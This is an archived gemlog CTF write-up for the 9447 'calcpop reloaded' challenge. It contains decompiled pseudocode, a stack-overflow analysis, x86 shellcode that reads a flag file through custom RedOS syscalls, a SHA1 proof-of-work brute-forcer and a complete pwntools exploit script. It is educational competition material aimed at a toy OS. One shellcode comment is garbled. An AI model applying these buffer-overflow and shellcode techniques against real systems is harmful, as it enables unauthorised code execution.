💾 Archived View for 0x80.org › gemlog › 2015-11-30-calc.gmi captured on 2022-04-28 at 17:40:41. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

9447ctf writeup calcpop reloaded

This challenge is an exploitation challenge. A binary is given and it runs in RedOS. An operating system created for the exploitation challenges.

We first load the binary in IDA with base address 0x100000. We then reach main function at 0x1008bc. The psudeo-code of the function looks like the following

main () {
  ... ... _ = print (v3, "Welcome to calc.exe\n", v20);
  while (1) {
      in = _;
      v7 = read_buffer (&in, 0x100u);
      if (!v7) break;
      in = v7;
      v8 = strtok (&in, 10);
      if (v8) *v8 = 0;
      in = op1;
      if (!strcmp (&in, "help")) {
	  print (v9, "Type 'exit' to exit.\n", v21);
	  _ =
	    print (v14, "Type two numbers and I will calculate their sum\n",
		   v15);
	} else {
	  in = op2;
	  if (!strcmp (&in, "exit")) {
	      print (v10, "Exiting...\n", v22);
	      exit ();
          }
	  in = v11;
	  tok = strtok (&in, ' ');
	  op2 = tok;
	  if (tok) {
	      next_tok = tok + 1;
	      op1 = atoi (&in);
	      op2 = op1 + atoi (next_tok);
	      _ = print (v17, "%d + %d = %d\n", op1);
	      if (op2 == 0x31337) {
		  print (v18, "Mes5 wi+h the b3st, d1e l1k3 the rest\n", v23);
		  return 0;
		}
	    } else {
	      in = v13;
	      _ = print (v13, "Missing a space; your input was %x\n", &in);
	    }
	}
    }
  return 0;
}

There is no proper limit on input buffer, causing a stack overflow. Now to the fun part. The exploit, and shellcode.

First let's understand how RedOS handles syscalls. The system uses interrupt 0xff as a syscall handler which is handled by function in kernel at address 0xc0102660. Syshandler psudeocode :

int __cdecl
syscall_handler (struct_a1 * args)
{
  int result;                   // eax@3
  if (args->stat > 0x15u)
    {
    UNKNOWN_SYSCALL:
      printk ("unknown syscall:\n");
      result = dbg ((int) args);
      args->stat = -1;
    }
  else
    {
      switch (args->stat)
        {
        case 0:
			..........
          goto UNKNOWN_SYSCALL;
        case 1:                // read
          result = sys_read (args);
          break;
        case 2:                // write
          result = sys_write (args);
          break;
        case 3:                // exit
          result = sys_exit ();
          break;
        case 4:                // spawn
          result = sys_spawn (args);
          break;
        case 5:                // yield
          result = sys_yield ();
          break;
        case 9:                // open
          result = sys_open ((int) args);
          break;
        case 0xA:              // getdirent
          result = sys_getdirent (args);
          break;
        case 0xB:              // shutdown
          sys_shutdown ();
          return result;
        case 0x14:             // shmap
		  ....
          break;
        case 0x15:             // ctfdrm
		  ....
          break;
        }
    }
  return result;
}

We know the flag is at /ctf/level1.flag so we need to craft our shellcode to do the following :

and we need to make sure that no badchars in the things we send.

;; push '/ctf/level1.flag\x00'
push 1
dec byte ptr [esp]
push 0x67616c66
push 0x2e316c65
push 0x76656c2f
push 0x6674632f
;; fd = open("tour shellcode to do the fo/ctf/level1.flag\x00");
mov al,0x09
mov ebx, esp
mov cl, 1
mov dl, 1
int 0xff
;; read(fd, esp, 0x36)
mov ebx,eax
mov al,0x01
mov ecx,esp
mov dl,0x36
int 0xff
;; write(0,esp,0x36)
mov al,0x02
xor ebx,ebx
int 0xff

Now we connect, solve the SHA1 challenge, send buffer, control esp,ebp,..etc and eip, then execute shellcode and get the flag. Full exploit :

Code that solves sha1:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>

int main(int argc, char *argv[]) {
	int i;
	char buf[21] = { 0 };
	unsigned char h[SHA_DIGEST_LENGTH];

	strcpy(buf, argv[1]);
	for (i = 0; i < 1000000000; ++i) {
		sprintf(buf + 12, "%08d", i);

		SHA1(buf, 20, h);
		if (h[19] == 0 && h[18] == 0 && h[17] == 0) {
			puts(buf);
			break;
		}
	}
	return 0;
}

Exploit :

#!/usr/bin/python
from pwn import *
from os import system

h = 'os-uedhyevi.9447.plumbing'
r = remote(h, 9447)
d = r.recvuntil("\n")
d = d.split(' ')[6]
system("./a.out %s > out" % d) # solves the sha1
d = open("out").read().strip()
r.sendline(d)
d = r.recvuntil("\n").strip().split(' ')[-1]
r = remote(h, int(d))
buf = "A" * 795
buf += p32(0x7ffffee0 + 4)
buf += "\x90" * 65
sh = "6a01fe0c2468666c616768656c312e682f6c6576682f637466".decode("hex")
sh += asm("mov al,0x09; mov ebx, esp; mov cl, 1; mov dl, 1; int 0xff") # fd=open(flag)
sh += asm("mov ebx,eax; mov al,0x01; mov ecx,esp; mov dl,0x36; int 0xff") # read(1,fd,...)
sh += asm("mov al,0x02; xor ebx,ebx; int 0xff") # write(0,buf)
buf += sh + "B" * (915 - len(buf)-len(sh))
buf += p32(0x7ffffee0+4)
buf += "C" * 1024
buf = buf[:1024]
r.sendline(buf)
r.sendline("201527 0")
print r.recvall()